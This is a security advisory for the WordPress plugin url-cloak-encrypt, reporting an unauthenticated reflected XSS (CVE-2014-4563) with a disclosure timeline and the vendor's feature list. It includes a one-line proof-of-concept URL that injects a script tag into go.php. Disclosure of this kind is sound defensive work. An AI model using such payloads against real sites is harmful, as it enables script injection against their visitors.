Plugin Details
Plugin Name: wp-plugin : url-cloak-encrypt
Effected Version : 2 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Identified by : prajalkulkarni
Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :
http://127.0.0.1/wordpress/wp-content/url–cloak–encrypt/go.php?url=%22%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E
Disclosure Timeline
Vendor Contacted : 2013-12-27
Plugin Status : Updated on 2014-01-11
Public Disclosure : May 25, 2014
CVE Number : CVE-2014-4563
Plugin Description :
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SEO, Privacy, Encryption, Redirect, Invest and Affiliate Link Cloaker of URL inside your posts. Build in between page with delay sometime to show your ADs before directing visitors to trargeted page.
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Features:<br>
-Make long ugly affiliate links turn into short "hijack proof" url's. Turn all external long URLs into your-domain.com/short-url<br>
-Improve your SEO by hide out-links from your posts<br>
-URL Encryption <br>
-Automatically process Redirect of URLs <br>
-Showing your own ADs before directing visitors to targeted page <br>
-Retain pagerank of your site by giving links out parameter that makes Googlebot think it was looking at a session id link and ignore it.<br>
-Do `Double Meta Refresh (DMR)` method to prevent your site from appearing in the server logs of referred pages as referrer <br>
-If (DMR) faild to hide a referrer then use public Anonymize links `j.letsw.com`.<br>
-Process both pages and posts <br>
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